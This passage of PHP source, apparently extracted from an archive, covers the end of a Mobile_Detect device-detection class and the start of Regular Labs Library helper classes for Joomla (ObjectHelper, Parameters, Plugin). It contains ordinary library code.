$this->setHttpHeaders($headers);
$this->setUserAgent($userAgent);
}
/**
* Get the current script version.
* This is useful for the demo.php file,
* so people can check on what version they are testing
* for mobile devices.
*
* @return string The version number in semantic version format.
*/
public static function getScriptVersion()
{
return self::VERSION;
}
/**
* Set the HTTP Headers. Must be PHP-flavored. This method will reset
existing headers.
*
* @param array $httpHeaders The headers to set. If null, then using
PHP's _SERVER to extract
* the headers. The default null is left for
backwards compatibility.
*/
public function setHttpHeaders($httpHeaders = null)
{
// use global _SERVER if $httpHeaders aren't defined
if ( ! is_array($httpHeaders) || ! count($httpHeaders))
{
$httpHeaders = $_SERVER;
}
// clear existing headers
$this->httpHeaders = [];
// Only save HTTP headers. In PHP land, that means only _SERVER vars that
// start with HTTP_.
foreach ($httpHeaders as $key => $value)
{
if (substr($key, 0, 5) === 'HTTP_')
{
$this->httpHeaders[$key] = $value;
}
}
// In case we're dealing with CloudFront, we need to know.
$this->setCfHeaders($httpHeaders);
}
/**
* Retrieves the HTTP headers.
*
* @return array
*/
public function getHttpHeaders()
{
return $this->httpHeaders;
}
/**
* Retrieves a particular header. If it doesn't exist, no
exception/error is caused.
* Simply null is returned.
*
* @param string $header The name of the header to retrieve. Can be HTTP
compliant such as
* "User-Agent" or
"X-Device-User-Agent" or can be php-esque with the
* all-caps, HTTP_ prefixed, underscore seperated
awesomeness.
*
* @return string|null The value of the header.
*/
public function getHttpHeader($header)
{
// are we using PHP-flavored headers?
if (strpos($header, '_') === false)
{
$header = str_replace('-', '_', $header);
$header = strtoupper($header);
}
// test the alternate, too
$altHeader = 'HTTP_' . $header;
//Test both the regular and the HTTP_ prefix
if (isset($this->httpHeaders[$header]))
{
return $this->httpHeaders[$header];
}
elseif (isset($this->httpHeaders[$altHeader]))
{
return $this->httpHeaders[$altHeader];
}
return null;
}
public function getMobileHeaders()
{
return self::$mobileHeaders;
}
/**
* Get all possible HTTP headers that
* can contain the User-Agent string.
*
* @return array List of HTTP headers.
*/
public function getUaHttpHeaders()
{
return self::$uaHttpHeaders;
}
/**
* Set CloudFront headers
*
http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/header-caching.html#header-caching-web-device
*
* @param array $cfHeaders List of HTTP headers
*
* @return boolean If there were CloudFront headers to be set
*/
public function setCfHeaders($cfHeaders = null)
{
// use global _SERVER if $cfHeaders aren't defined
if ( ! is_array($cfHeaders) || ! count($cfHeaders))
{
$cfHeaders = $_SERVER;
}
// clear existing headers
$this->cloudfrontHeaders = [];
// Only save CLOUDFRONT headers. In PHP land, that means only _SERVER
vars that
// start with cloudfront-.
$response = false;
foreach ($cfHeaders as $key => $value)
{
if (substr(strtolower($key), 0, 16) === 'http_cloudfront_')
{
$this->cloudfrontHeaders[strtoupper($key)] = $value;
$response = true;
}
}
return $response;
}
/**
* Retrieves the cloudfront headers.
*
* @return array
*/
public function getCfHeaders()
{
return $this->cloudfrontHeaders;
}
/**
* @param string $userAgent
*
* @return string
*/
private function prepareUserAgent($userAgent)
{
$userAgent = trim($userAgent);
$userAgent = substr($userAgent, 0, 500);
return $userAgent;
}
/**
* Set the User-Agent to be used.
*
* @param string $userAgent The user agent string to set.
*
* @return string|null
*/
public function setUserAgent($userAgent = null)
{
// Invalidate cache due to #375
$this->cache = [];
if (false === empty($userAgent))
{
return $this->userAgent = $this->prepareUserAgent($userAgent);
}
else
{
$this->userAgent = null;
foreach ($this->getUaHttpHeaders() as $altHeader)
{
if (false === empty($this->httpHeaders[$altHeader]))
{ // @todo: should use getHttpHeader(), but it would be slow. (Serban)
$this->userAgent .= $this->httpHeaders[$altHeader] . "
";
}
}
if ( ! empty($this->userAgent))
{
return $this->userAgent =
$this->prepareUserAgent($this->userAgent);
}
}
if (count($this->getCfHeaders()) > 0)
{
return $this->userAgent = 'Amazon CloudFront';
}
return $this->userAgent = null;
}
/**
* Retrieve the User-Agent.
*
* @return string|null The user agent if it's set.
*/
public function getUserAgent()
{
return $this->userAgent;
}
/**
* Set the detection type. Must be one of self::DETECTION_TYPE_MOBILE or
* self::DETECTION_TYPE_EXTENDED. Otherwise, nothing is set.
*
* @param string $type The type. Must be a self::DETECTION_TYPE_*
constant. The default
* parameter is null which will default to
self::DETECTION_TYPE_MOBILE.
*
* @deprecated since version 2.6.9
*
*/
public function setDetectionType($type = null)
{
if ($type === null)
{
$type = self::DETECTION_TYPE_MOBILE;
}
if ($type !== self::DETECTION_TYPE_MOBILE && $type !==
self::DETECTION_TYPE_EXTENDED)
{
return;
}
$this->detectionType = $type;
}
public function getMatchingRegex()
{
return $this->matchingRegex;
}
public function getMatchesArray()
{
return $this->matchesArray;
}
/**
* Retrieve the list of known phone devices.
*
* @return array List of phone devices.
*/
public static function getPhoneDevices()
{
return self::$phoneDevices;
}
/**
* Retrieve the list of known tablet devices.
*
* @return array List of tablet devices.
*/
public static function getTabletDevices()
{
return self::$tabletDevices;
}
/**
* Alias for getBrowsers() method.
*
* @return array List of user agents.
*/
public static function getUserAgents()
{
return self::getBrowsers();
}
/**
* Retrieve the list of known browsers. Specifically, the user agents.
*
* @return array List of browsers / user agents.
*/
public static function getBrowsers()
{
return self::$browsers;
}
/**
* Retrieve the list of known utilities.
*
* @return array List of utilities.
*/
public static function getUtilities()
{
return self::$utilities;
}
/**
* Method gets the mobile detection rules. This method is used for the
magic methods $detect->is*().
*
* @return array All the rules (but not extended).
* @deprecated since version 2.6.9
*
*/
public static function getMobileDetectionRules()
{
static $rules;
if ( ! $rules)
{
$rules = array_merge(
self::$phoneDevices,
self::$tabletDevices,
self::$operatingSystems,
self::$browsers
);
}
return $rules;
}
/**
* Method gets the mobile detection rules + utilities.
* The reason this is separate is because utilities rules
* don't necessary imply mobile. This method is used inside
* the new $detect->is('stuff') method.
*
* @return array All the rules + extended.
* @deprecated since version 2.6.9
*
*/
public function getMobileDetectionRulesExtended()
{
static $rules;
if ( ! $rules)
{
// Merge all rules together.
$rules = array_merge(
self::$phoneDevices,
self::$tabletDevices,
self::$operatingSystems,
self::$browsers,
self::$utilities
);
}
return $rules;
}
/**
* Retrieve the current set of rules.
*
* @return array
* @deprecated since version 2.6.9
*
*/
public function getRules()
{
if ($this->detectionType == self::DETECTION_TYPE_EXTENDED)
{
return self::getMobileDetectionRulesExtended();
}
else
{
return self::getMobileDetectionRules();
}
}
/**
* Retrieve the list of mobile operating systems.
*
* @return array The list of mobile operating systems.
*/
public static function getOperatingSystems()
{
return self::$operatingSystems;
}
/**
* Check the HTTP headers for signs of mobile.
* This is the fastest mobile check possible; it's used
* inside isMobile() method.
*
* @return bool
*/
public function checkHttpHeadersForMobile()
{
foreach ($this->getMobileHeaders() as $mobileHeader => $matchType)
{
if (isset($this->httpHeaders[$mobileHeader]))
{
if (is_array($matchType['matches']))
{
foreach ($matchType['matches'] as $_match)
{
if (strpos($this->httpHeaders[$mobileHeader], $_match) !== false)
{
return true;
}
}
return false;
}
else
{
return true;
}
}
}
return false;
}
/**
* Magic overloading method.
*
* @method boolean is[...]()
* @param string $name
* @param array $arguments
*
* @return mixed
* @throws BadMethodCallException when the method doesn't exist and
doesn't start with 'is'
*/
public function __call($name, $arguments)
{
// make sure the name starts with 'is', otherwise
if (substr($name, 0, 2) !== 'is')
{
throw new BadMethodCallException("No such method exists:
$name");
}
$this->setDetectionType(self::DETECTION_TYPE_MOBILE);
$key = substr($name, 2);
return $this->matchUAAgainstKey($key);
}
/**
* Find a detection rule that matches the current User-agent.
*
* @param null $userAgent deprecated
*
* @return boolean
*/
protected function matchDetectionRulesAgainstUA($userAgent = null)
{
// Begin general search.
foreach ($this->getRules() as $_regex)
{
if (empty($_regex))
{
continue;
}
if ($this->match($_regex, $userAgent))
{
return true;
}
}
return false;
}
/**
* Search for a certain key in the rules array.
* If the key is found then try to match the corresponding
* regex against the User-Agent.
*
* @param string $key
*
* @return boolean
*/
protected function matchUAAgainstKey($key)
{
// Make the keys lowercase so we can match: isIphone(), isiPhone(),
isiphone(), etc.
$key = strtolower($key);
if (false === isset($this->cache[$key]))
{
// change the keys to lower case
$_rules = array_change_key_case($this->getRules());
if (false === empty($_rules[$key]))
{
$this->cache[$key] = $this->match($_rules[$key]);
}
if (false === isset($this->cache[$key]))
{
$this->cache[$key] = false;
}
}
return $this->cache[$key];
}
/**
* Check if the device is mobile.
* Returns true if any type of mobile device detected, including special
ones
*
* @param null $userAgent deprecated
* @param null $httpHeaders deprecated
*
* @return bool
*/
public function isMobile($userAgent = null, $httpHeaders = null)
{
if ($httpHeaders)
{
$this->setHttpHeaders($httpHeaders);
}
if ($userAgent)
{
$this->setUserAgent($userAgent);
}
// Check specifically for cloudfront headers if the useragent ===
'Amazon CloudFront'
if ($this->getUserAgent() === 'Amazon CloudFront')
{
$cfHeaders = $this->getCfHeaders();
if (array_key_exists('HTTP_CLOUDFRONT_IS_MOBILE_VIEWER',
$cfHeaders) &&
$cfHeaders['HTTP_CLOUDFRONT_IS_MOBILE_VIEWER'] ===
'true')
{
return true;
}
}
$this->setDetectionType(self::DETECTION_TYPE_MOBILE);
if ($this->checkHttpHeadersForMobile())
{
return true;
}
else
{
return $this->matchDetectionRulesAgainstUA();
}
}
/**
* Check if the device is a tablet.
* Return true if any type of tablet device is detected.
*
* @param string $userAgent deprecated
* @param array $httpHeaders deprecated
*
* @return bool
*/
public function isTablet($userAgent = null, $httpHeaders = null)
{
// Check specifically for cloudfront headers if the useragent ===
'Amazon CloudFront'
if ($this->getUserAgent() === 'Amazon CloudFront')
{
$cfHeaders = $this->getCfHeaders();
if (array_key_exists('HTTP_CLOUDFRONT_IS_TABLET_VIEWER',
$cfHeaders) &&
$cfHeaders['HTTP_CLOUDFRONT_IS_TABLET_VIEWER'] ===
'true')
{
return true;
}
}
$this->setDetectionType(self::DETECTION_TYPE_MOBILE);
foreach (self::$tabletDevices as $_regex)
{
if ($this->match($_regex, $userAgent))
{
return true;
}
}
return false;
}
/**
* This method checks for a certain property in the
* userAgent.
*
* @param string $key
* @param string $userAgent deprecated
* @param string $httpHeaders deprecated
*
* @return bool|int|null
* @todo: The httpHeaders part is not yet used.
*
*/
public function is($key, $userAgent = null, $httpHeaders = null)
{
// Set the UA and HTTP headers only if needed (eg. batch mode).
if ($httpHeaders)
{
$this->setHttpHeaders($httpHeaders);
}
if ($userAgent)
{
$this->setUserAgent($userAgent);
}
$this->setDetectionType(self::DETECTION_TYPE_EXTENDED);
return $this->matchUAAgainstKey($key);
}
/**
* Some detection rules are relative (not standard),
* because of the diversity of devices, vendors and
* their conventions in representing the User-Agent or
* the HTTP headers.
*
* This method will be used to check custom regexes against
* the User-Agent string.
*
* @param $regex
* @param string $userAgent
*
* @return bool
*
* @todo: search in the HTTP headers too.
*/
public function match($regex, $userAgent = null)
{
$match = (bool) preg_match(sprintf('#%s#is', $regex), (false
=== empty($userAgent) ? $userAgent : $this->userAgent), $matches);
// If positive match is found, store the results for debug.
if ($match)
{
$this->matchingRegex = $regex;
$this->matchesArray = $matches;
}
return $match;
}
/**
* Get the properties array.
*
* @return array
*/
public static function getProperties()
{
return self::$properties;
}
/**
* Prepare the version number.
*
* @param string $ver The string version, like "2.6.21.2152";
*
* @return float
* @todo Remove the error supression from str_replace() call.
*
*/
public function prepareVersionNo($ver)
{
$ver = str_replace(['_', ' ', '/'],
'.', $ver);
$arrVer = explode('.', $ver, 2);
if (isset($arrVer[1]))
{
$arrVer[1] = @str_replace('.', '', $arrVer[1]); //
@todo: treat strings versions.
}
return (float) implode('.', $arrVer);
}
/**
* Check the version of the given property in the User-Agent.
* Will return a float number. (eg. 2_0 will return 2.0, 4.3.1 will return
4.31)
*
* @param string $propertyName The name of the property. See
self::getProperties() array
* keys for all possible properties.
* @param string $type Either self::VERSION_TYPE_STRING to get a
string value or
* self::VERSION_TYPE_FLOAT indicating a float
value. This parameter
* is optional and defaults to
self::VERSION_TYPE_STRING. Passing an
* invalid parameter will default to the this
type as well.
*
* @return string|float The version of the property we are trying to
extract.
*/
public function version($propertyName, $type = self::VERSION_TYPE_STRING)
{
if (empty($propertyName))
{
return false;
}
// set the $type to the default if we don't recognize the type
if ($type !== self::VERSION_TYPE_STRING && $type !==
self::VERSION_TYPE_FLOAT)
{
$type = self::VERSION_TYPE_STRING;
}
$properties = self::getProperties();
// Check if the property exists in the properties array.
if (true === isset($properties[$propertyName]))
{
// Prepare the pattern to be matched.
// Make sure we always deal with an array (string is converted).
$properties[$propertyName] = (array) $properties[$propertyName];
foreach ($properties[$propertyName] as $propertyMatchString)
{
$propertyPattern = str_replace('[VER]', self::VER,
$propertyMatchString);
// Identify and extract the version.
preg_match(sprintf('#%s#is', $propertyPattern),
$this->userAgent, $match);
if (false === empty($match[1]))
{
$version = ($type == self::VERSION_TYPE_FLOAT ?
$this->prepareVersionNo($match[1]) : $match[1]);
return $version;
}
}
}
return false;
}
/**
* Retrieve the mobile grading, using self::MOBILE_GRADE_* constants.
*
* @return string One of the self::MOBILE_GRADE_* constants.
*/
public function mobileGrade()
{
$isMobile = $this->isMobile();
if (
// Apple iOS 4-7.0 – Tested on the original iPad (4.3 / 5.0), iPad 2
(4.3 / 5.1 / 6.1), iPad 3 (5.1 / 6.0), iPad Mini (6.1), iPad Retina (7.0),
iPhone 3GS (4.3), iPhone 4 (4.3 / 5.1), iPhone 4S (5.1 / 6.0), iPhone 5
(6.0), and iPhone 5S (7.0)
$this->is('iOS') &&
$this->version('iPad', self::VERSION_TYPE_FLOAT) >= 4.3 ||
$this->is('iOS') &&
$this->version('iPhone', self::VERSION_TYPE_FLOAT) >= 4.3
||
$this->is('iOS') &&
$this->version('iPod', self::VERSION_TYPE_FLOAT) >= 4.3 ||
// Android 2.1-2.3 - Tested on the HTC Incredible (2.2), original Droid
(2.2), HTC Aria (2.1), Google Nexus S (2.3). Functional on 1.5 & 1.6
but performance may be sluggish, tested on Google G1 (1.5)
// Android 3.1 (Honeycomb) - Tested on the Samsung Galaxy Tab 10.1 and
Motorola XOOM
// Android 4.0 (ICS) - Tested on a Galaxy Nexus. Note: transition
performance can be poor on upgraded devices
// Android 4.1 (Jelly Bean) - Tested on a Galaxy Nexus and Galaxy 7
($this->version('Android', self::VERSION_TYPE_FLOAT) >
2.1 && $this->is('Webkit')) ||
// Windows Phone 7.5-8 - Tested on the HTC Surround (7.5), HTC Trophy
(7.5), LG-E900 (7.5), Nokia 800 (7.8), HTC Mazaa (7.8), Nokia Lumia 520
(8), Nokia Lumia 920 (8), HTC 8x (8)
$this->version('Windows Phone OS',
self::VERSION_TYPE_FLOAT) >= 7.5 ||
// Tested on the Torch 9800 (6) and Style 9670 (6), BlackBerry® Torch
9810 (7), BlackBerry Z10 (10)
$this->is('BlackBerry') &&
$this->version('BlackBerry', self::VERSION_TYPE_FLOAT) >=
6.0 ||
// Blackberry Playbook (1.0-2.0) - Tested on PlayBook
$this->match('Playbook.*Tablet') ||
// Palm WebOS (1.4-3.0) - Tested on the Palm Pixi (1.4), Pre (1.4), Pre
2 (2.0), HP TouchPad (3.0)
($this->version('webOS', self::VERSION_TYPE_FLOAT) >=
1.4 && $this->match('Palm|Pre|Pixi')) ||
// Palm WebOS 3.0 - Tested on HP TouchPad
$this->match('hp.*TouchPad') ||
// Firefox Mobile 18 - Tested on Android 2.3 and 4.1 devices
($this->is('Firefox') &&
$this->version('Firefox', self::VERSION_TYPE_FLOAT) >= 18)
||
// Chrome for Android - Tested on Android 4.0, 4.1 device
($this->is('Chrome') &&
$this->is('AndroidOS') &&
$this->version('Android', self::VERSION_TYPE_FLOAT) >= 4.0)
||
// Skyfire 4.1 - Tested on Android 2.3 device
($this->is('Skyfire') &&
$this->version('Skyfire', self::VERSION_TYPE_FLOAT) >= 4.1
&& $this->is('AndroidOS') &&
$this->version('Android', self::VERSION_TYPE_FLOAT) >= 2.3)
||
// Opera Mobile 11.5-12: Tested on Android 2.3
($this->is('Opera') &&
$this->version('Opera Mobi', self::VERSION_TYPE_FLOAT) >=
11.5 && $this->is('AndroidOS')) ||
// Meego 1.2 - Tested on Nokia 950 and N9
$this->is('MeeGoOS') ||
// Tizen (pre-release) - Tested on early hardware
$this->is('Tizen') ||
// Samsung Bada 2.0 - Tested on a Samsung Wave 3, Dolphin browser
// @todo: more tests here!
$this->is('Dolfin') &&
$this->version('Bada', self::VERSION_TYPE_FLOAT) >= 2.0 ||
// UC Browser - Tested on Android 2.3 device
(($this->is('UC Browser') ||
$this->is('Dolfin')) &&
$this->version('Android', self::VERSION_TYPE_FLOAT) >= 2.3)
||
// Kindle 3 and Fire - Tested on the built-in WebKit browser for each
($this->match('Kindle Fire') ||
$this->is('Kindle') &&
$this->version('Kindle', self::VERSION_TYPE_FLOAT) >= 3.0)
||
// Nook Color 1.4.1 - Tested on original Nook Color, not Nook Tablet
$this->is('AndroidOS') &&
$this->is('NookTablet') ||
// Chrome Desktop 16-24 - Tested on OS X 10.7 and Windows 7
$this->version('Chrome', self::VERSION_TYPE_FLOAT) >= 16
&& ! $isMobile ||
// Safari Desktop 5-6 - Tested on OS X 10.7 and Windows 7
$this->version('Safari', self::VERSION_TYPE_FLOAT) >=
5.0 && ! $isMobile ||
// Firefox Desktop 10-18 - Tested on OS X 10.7 and Windows 7
$this->version('Firefox', self::VERSION_TYPE_FLOAT) >=
10.0 && ! $isMobile ||
// Internet Explorer 7-9 - Tested on Windows XP, Vista and 7
$this->version('IE', self::VERSION_TYPE_FLOAT) >= 7.0
&& ! $isMobile ||
// Opera Desktop 10-12 - Tested on OS X 10.7 and Windows 7
$this->version('Opera', self::VERSION_TYPE_FLOAT) >= 10
&& ! $isMobile
)
{
return self::MOBILE_GRADE_A;
}
if (
$this->is('iOS') &&
$this->version('iPad', self::VERSION_TYPE_FLOAT) < 4.3 ||
$this->is('iOS') &&
$this->version('iPhone', self::VERSION_TYPE_FLOAT) < 4.3 ||
$this->is('iOS') &&
$this->version('iPod', self::VERSION_TYPE_FLOAT) < 4.3 ||
// Blackberry 5.0: Tested on the Storm 2 9550, Bold 9770
$this->is('Blackberry') &&
$this->version('BlackBerry', self::VERSION_TYPE_FLOAT) >= 5
&& $this->version('BlackBerry',
self::VERSION_TYPE_FLOAT) < 6 ||
//Opera Mini (5.0-6.5) - Tested on iOS 3.2/4.3 and Android 2.3
($this->version('Opera Mini', self::VERSION_TYPE_FLOAT)
>= 5.0 && $this->version('Opera Mini',
self::VERSION_TYPE_FLOAT) <= 7.0 &&
($this->version('Android', self::VERSION_TYPE_FLOAT) >=
2.3 || $this->is('iOS'))) ||
// Nokia Symbian^3 - Tested on Nokia N8 (Symbian^3), C7 (Symbian^3),
also works on N97 (Symbian^1)
$this->match('NokiaN8|NokiaC7|N97.*Series60|Symbian/3') ||
// @todo: report this (tested on Nokia N71)
$this->version('Opera Mobi', self::VERSION_TYPE_FLOAT)
>= 11 && $this->is('SymbianOS')
)
{
return self::MOBILE_GRADE_B;
}
if (
// Blackberry 4.x - Tested on the Curve 8330
$this->version('BlackBerry', self::VERSION_TYPE_FLOAT)
<= 5.0 ||
// Windows Mobile - Tested on the HTC Leo (WinMo 5.2)
$this->match('MSIEMobile|Windows CE.*Mobile') ||
$this->version('Windows Mobile', self::VERSION_TYPE_FLOAT)
<= 5.2 ||
// Tested on original iPhone (3.1), iPhone 3 (3.2)
$this->is('iOS') &&
$this->version('iPad', self::VERSION_TYPE_FLOAT) <= 3.2 ||
$this->is('iOS') &&
$this->version('iPhone', self::VERSION_TYPE_FLOAT) <= 3.2
||
$this->is('iOS') &&
$this->version('iPod', self::VERSION_TYPE_FLOAT) <= 3.2 ||
// Internet Explorer 7 and older - Tested on Windows XP
$this->version('IE', self::VERSION_TYPE_FLOAT) <= 7.0
&& ! $isMobile
)
{
return self::MOBILE_GRADE_C;
}
// All older smartphone platforms and featurephones - Any device that
doesn't support media queries
// will receive the basic, C grade experience.
return self::MOBILE_GRADE_C;
}
}
src/ObjectHelper.php000064400000002537151165347530010433 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
/**
* Class ObjectHelper
* @package RegularLabs\Library
*/
class ObjectHelper
{
/**
* Return the value by the object property key
* A list of keys can be given. The first one that is not empty will get
returned
*
* @param object $object
* @param string|array $keys
*
* @return mixed
*/
public static function getValue($object, $keys, $default = null)
{
$keys = ArrayHelper::toArray($keys);
foreach ($keys as $key)
{
if (empty($object->{$key}))
{
continue;
}
return $object->{$key};
}
return $default;
}
/**
* Deep clone an object
*
* @param object $object
*
* @return object
*/
public static function deepClone($object)
{
return unserialize(serialize($object));
}
/**
* Merge 2 objects
*
* @param object $object1
* @param object $object2
*
* @return object
*/
public static function merge($object1, $object2)
{
return (object) array_merge((array) $object1, (array) $object2);
}
}
src/Parameters.php000064400000016562151165347530010173 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Component\ComponentHelper as JComponentHelper;
use Joomla\CMS\Filesystem\File as JFile;
use Joomla\CMS\Plugin\PluginHelper as JPluginHelper;
jimport('joomla.filesystem.file');
/**
* Class Parameters
* @package RegularLabs\Library
*/
class Parameters
{
public static $instance = null;
/**
* @return static instance
*/
public static function getInstance()
{
if (is_null(self::$instance))
{
self::$instance = new static;
}
return self::$instance;
}
/**
* Get a usable parameter object based on the Joomla Registry object
* The object will have all the available parameters with their value
(default value if none is set)
*
* @param \Registry $params
* @param string $path
* @param string $default
*
* @return object
*/
public function getParams($params, $path = '', $default =
'', $use_cache = true)
{
$cache_id = 'getParams_' . json_encode($params) . '_'
. $path . '_' . $default;
if ($use_cache && Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$xml = $this->loadXML($path, $default);
if (empty($params))
{
return Cache::set(
$cache_id,
(object) $xml
);
}
if ( ! is_object($params))
{
$params = json_decode($params);
if (is_null($xml))
{
$xml = (object) [];
}
}
elseif (method_exists($params, 'toObject'))
{
$params = $params->toObject();
}
if ( ! $params)
{
return Cache::set(
$cache_id,
(object) $xml
);
}
if (empty($xml))
{
return Cache::set(
$cache_id,
$params
);
}
foreach ($xml as $key => $val)
{
if (isset($params->{$key}) && $params->{$key} !=
'')
{
continue;
}
$params->{$key} = $val;
}
return Cache::set(
$cache_id,
$params
);
}
/**
* Get a usable parameter object for the component
*
* @param string $name
* @param \Registry $params
*
* @return object
*/
public function getComponentParams($name, $params = null, $use_cache =
true)
{
$name = 'com_' . RegEx::replace('^com_',
'', $name);
$cache_id = 'getComponentParams_' . $name . '_' .
json_encode($params);
if ($use_cache && Cache::has($cache_id))
{
return Cache::get($cache_id);
}
if (empty($params) && JComponentHelper::isInstalled($name))
{
$params = JComponentHelper::getParams($name);
}
return Cache::set(
$cache_id,
$this->getParams($params, JPATH_ADMINISTRATOR .
'/components/' . $name . '/config.xml')
);
}
/**
* Get a usable parameter object for the module
*
* @param string $name
* @param int $admin
* @param \Registry $params
*
* @return object
*/
public function getModuleParams($name, $admin = true, $params =
'', $use_cache = true)
{
$name = 'mod_' . RegEx::replace('^mod_',
'', $name);
$cache_id = 'getModuleParams_' . $name . '_' .
json_encode($params);
if ($use_cache && Cache::has($cache_id))
{
return Cache::get($cache_id);
}
if (empty($params))
{
$params = null;
}
return Cache::set(
$cache_id,
$this->getParams($params, ($admin ? JPATH_ADMINISTRATOR : JPATH_SITE)
. '/modules/' . $name . '/' . $name . '.xml')
);
}
/**
* Get a usable parameter object for the plugin
*
* @param string $name
* @param string $type
* @param \Registry $params
*
* @return object
*/
public function getPluginParams($name, $type = 'system', $params
= '', $use_cache = true)
{
$cache_id = 'getPluginParams_' . $name . '_' . $type
. '_' . json_encode($params);
if ($use_cache && Cache::has($cache_id))
{
return Cache::get($cache_id);
}
if (empty($params))
{
$plugin = JPluginHelper::getPlugin($type, $name);
$params = (is_object($plugin) && isset($plugin->params)) ?
$plugin->params : null;
}
return Cache::set(
$cache_id,
$this->getParams($params, JPATH_PLUGINS . '/' . $type .
'/' . $name . '/' . $name . '.xml')
);
}
/**
* Returns an object based on the data in a given xml array
*
* @param $xml
*
* @return bool|mixed
*/
public function getObjectFromXml(&$xml, $use_cache = true)
{
$cache_id = 'getObjectFromXml_' . json_encode($xml);
if ($use_cache && Cache::has($cache_id))
{
return Cache::get($cache_id);
}
if ( ! is_array($xml))
{
$xml = [$xml];
}
$object = $this->getObjectFromXmlNode($xml);
return Cache::set(
$cache_id,
$object
);
}
/**
* Returns an array based on the data in a given xml file
*
* @param string $path
* @param string $default
*
* @return array
*/
private function loadXML($path, $default = '', $use_cache =
true)
{
$cache_id = 'loadXML_' . $path . '_' . $default;
if ($use_cache && Cache::has($cache_id))
{
return Cache::get($cache_id);
}
if ( ! $path
|| ! file_exists($path)
|| ! $file = file_get_contents($path)
)
{
return Cache::set(
$cache_id,
[]
);
}
$xml = [];
$xml_parser = xml_parser_create();
xml_parse_into_struct($xml_parser, $file, $fields);
xml_parser_free($xml_parser);
$default = $default ? strtoupper($default) : 'DEFAULT';
foreach ($fields as $field)
{
if ($field['tag'] != 'FIELD'
|| ! isset($field['attributes'])
|| ! isset($field['attributes']['NAME'])
|| $field['attributes']['NAME'] == ''
|| $field['attributes']['NAME'][0] == '@'
|| ! isset($field['attributes']['TYPE'])
|| $field['attributes']['TYPE'] ==
'spacer'
)
{
continue;
}
if (isset($field['attributes'][$default]))
{
$field['attributes']['DEFAULT'] =
$field['attributes'][$default];
}
if ( ! isset($field['attributes']['DEFAULT']))
{
$field['attributes']['DEFAULT'] = '';
}
if ($field['attributes']['TYPE'] ==
'textarea')
{
$field['attributes']['DEFAULT'] =
str_replace('<br>', "\n",
$field['attributes']['DEFAULT']);
}
$xml[$field['attributes']['NAME']] =
$field['attributes']['DEFAULT'];
}
return Cache::set(
$cache_id,
$xml
);
}
/**
* Returns the main attributes key from an xml object
*
* @param $xml
*
* @return mixed
*/
private function getKeyFromXML($xml)
{
if ( ! empty($xml->_attributes) &&
isset($xml->_attributes['name']))
{
return $xml->_attributes['name'];
}
return $xml->_name;
}
/**
* Returns the value from an xml object / node
*
* @param $xml
*
* @return object
*/
private function getValFromXML($xml)
{
if ( ! empty($xml->_attributes) &&
isset($xml->_attributes['value']))
{
return $xml->_attributes['value'];
}
if (empty($xml->_children))
{
return $xml->_data;
}
return $this->getObjectFromXmlNode($xml->_children);
}
/**
* Create an object from the given xml node
*
* @param $xml
*
* @return object
*/
private function getObjectFromXmlNode($xml)
{
$object = (object) [];
foreach ($xml as $child)
{
$key = $this->getKeyFromXML($child);
$value = $this->getValFromXML($child);
if ( ! isset($object->{$key}))
{
$object->{$key} = $value;
continue;
}
if ( ! is_array($object->{$key}))
{
$object->{$key} = [$object->{$key}];
}
$object->{$key}[] = $value;
}
return $object;
}
}
src/Plugin.php000064400000024051151165347530007316 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Application\CMSApplication as JCMSApplication;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Form\Form as JForm;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Plugin\CMSPlugin as JPlugin;
use Joomla\CMS\Plugin\PluginHelper as JPluginHelper;
class Plugin extends JPlugin
{
public $_alias = '';
public $_title = '';
public $_lang_prefix = '';
public $_is_admin = false;
public $_has_tags = false;
public $_enable_in_frontend = true;
public $_enable_in_admin = false;
public $_can_disable_by_url = true;
public $_disable_on_components = false;
public $_protected_formats = [];
public $_page_types = [];
public $_jversion = 3;
private $_pass = null;
/**
* @var JCMSApplication
*/
protected $app;
/**
* @var \JDatabaseDriver
*/
protected $db;
/**
* @param object &$subject The object to observe
* @param array $config An optional associative array of
configuration settings.
* Recognized key values include
'name', 'group', 'params',
'language'
* (this list is not meant to be
comprehensive).
*/
public function __construct(&$subject, $config = [])
{
if (isset($config['id']))
{
$this->_id = $config['id'];
}
parent::__construct($subject, $config);
$this->app = JFactory::getApplication();
$this->db = JFactory::getDbo();
$this->_is_admin = Document::isAdmin();
if (empty($this->_alias))
{
$this->_alias = $this->_name;
}
if (empty($this->_title))
{
$this->_title = strtoupper($this->_alias);
}
Language::load('plg_' . $this->_type . '_' .
$this->_name);
}
/**
* @return void
*/
public function onAfterRoute()
{
if ( ! $this->passChecks())
{
return;
}
$this->handleOnAfterRoute();
}
/**
* @return void
*/
public function onAfterDispatch()
{
if ( ! $this->passChecks())
{
return;
}
$this->handleOnAfterDispatch();
$buffer = Document::getBuffer();
$this->loadStylesAndScripts($buffer);
if ( ! $buffer)
{
return;
}
if ( ! $this->changeDocumentBuffer($buffer))
{
return;
}
Document::setBuffer($buffer);
}
/**
* @return void
*/
public function onAfterInitialise()
{
if ( ! $this->passChecks())
{
return;
}
$this->handleOnAfterInitialise();
}
/**
* @param string $context The context of the content being passed to
the plugin.
* @param mixed &$row An object with a "text"
property
* @param mixed &$params Additional parameters. See {@see
PlgContentContent()}.
* @param integer $page Optional page number. Unused. Defaults to
zero.
*
* @return bool
*/
public function onContentPrepare($context, &$article, &$params,
$page = 0)
{
if ( ! $this->passChecks())
{
return true;
}
